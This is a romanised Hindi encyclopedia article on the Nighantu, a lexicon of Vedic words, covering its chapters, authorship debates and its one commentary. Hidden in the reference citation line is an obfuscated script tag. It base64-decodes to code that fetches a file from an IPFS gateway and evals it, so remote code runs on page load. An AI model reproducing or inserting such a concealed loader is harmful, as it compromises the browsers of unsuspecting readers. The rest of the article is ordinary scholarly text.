निघण्टु
nighantu vedoan mean prayukt hone vale kathin shabdoan ka ek kosh hai. yask ne use 'samamnay' nam se sambodhit kiya hai. mahabharat ke anusar[1] isake karta prajapati kashyap haian. nighantu par keval ek hi tika upalabdh hai, jisaka nam 'nighantunirvachan' hai.
adhyay
nighantu paanch adhyayoan mean likha gaya hai. isamean agni se lekar dev patniyoan tak vaidik devataoan ke nam ate haian. yask ki nirukt usi par adharit hai. jis nighantu par yask ki tika hai, usamean paanch adhyay haian. pratham 3 adhyay, (naighantuk kand) shabdoan ki vyakhya nirukt ke dvitiy v tritiy adhyayoan mean ki gee hai. isaki shabd sankhya 1314 hai, jinamean se 230 shabdoan ki hi vyakhya ki gee hai. chaturth adhyay ko naigam kand v pancham adhyay ko daivat kand kahate haian. naigam kand mean 3 khand haian, jinamean 62, 64 v 132 pad haian. ve kisi ke paryay n hokar svatantr haian. naigam kand ke shabdoan ka yatharth jnan nahian hota. daivat kand ke 6 khandoan ki pad sankhya 3, 13, 32, 36 v 31 haian, jinamean vibhinn vaidik devataoan ke nam haian. in shabdoan ki vyakhya nirukt ke 7vean se 12vean adhyay tak huee hai. d aauktar lakshman svaroop ke anusar, nighantu ek hi vyakti ki kriti nahian hai, par vishvanath kashinath rajava de ne inake kathan ka sapraman khandan kiya hai.
mat bhraantiyaan
katipay vidvanh nirukt v nighantu donoan ka hi rachayita yask ko hi svikar karate haian. svami dayanand v pandit bhagavaddatt ke anusar, jitane niruktakar haian, ve sabhi nighantu ke rachayita haian. adhunik vidvanh sarvashri ray, karmakar, lakshman svaroop tatha prachin tikakar skand, durg v maheshvar ne nighantu ke praneta ajnatanama lekhak ko mana hai. durg ke anusar nighantu shrutarshiyoan dvara kiya gaya sangrah hai. abhi tak nishchith roop se yah mat prakat nahian kiya ja saka hai ki nighantu ka praneta kaun hai. nighantu par keval ek hi tika upalabdh hai, jisaka nam hai ‘nighantunirvachan’. devaraj yajva namak ek dakshinaty pandit is tika ke lekhak haian. unhoanne naighantuk kand ka hi nirvachan vistarapoorvak kiya hai. tulanatmak drishti se any kaandoan ka nirvachan utyalp hai. is tika upodghat, ved bhashyakaroan ka itihas janane ke lie atyant upayukt siddh hua. devaraj yajva ke kal ke bare mean matabhed haian. koee unhean sayan ke pahale ka manate haian to koee bad ka. kintu shri baldev upadhyay ke matanusar unhean sayan ke pahale ka manana hi uchit rahega. bhaskarachary namak ek prasiddh taantrik ne ek chhota-sa granth likhakar nighantu ke sabhi shabdoan ko amarakosh ki paddhati par shlokabaddh kiya hai.[2]
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tika tippani aur sandarbh
bharatiy sanskriti kosh, bhag-2 |prakashak: yoonivarsiti pablikeshan, nee dilli-110002 |sanpadan: profesar devendr mishr |prishth sankhya: 448 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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